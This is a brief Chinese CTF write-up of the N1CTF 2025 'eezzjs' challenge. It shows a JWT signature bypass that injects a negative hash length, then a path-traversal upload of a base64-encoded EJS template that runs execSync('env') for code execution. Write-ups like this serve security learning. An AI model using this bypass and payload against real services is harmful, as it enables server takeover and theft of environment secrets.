N1CTF 2025
约 175 字小于 1 分钟
CTF
2025-11-04
eezzjs
在 verifyJWT 内部调用去计算预期签名,如果能操控结果就能绕过
const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);const sha256 = (...messages) => {
const hash = sha('sha256');
messages.forEach((m) => hash.update(m));
return hash.digest('hex');
};length 属性在每次遍历时候会去改变 hash 对象的 _len,所以在 body 构造一个负值的 length 去吞掉最后的 secret 长度,{"alg":"HS256"} 长15 ,secret 长18,所以 length 值为 -33 ,最后在计算 digest 时候就会是一个定值,无论 secret 如何变化


后面用 /. 绕过对 js 后缀匹配,传个 ejs 上去就好
{"filename":"../views/evil.ejs/.","filedata":"PCU9IGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdlbnYnKSAlPg=="}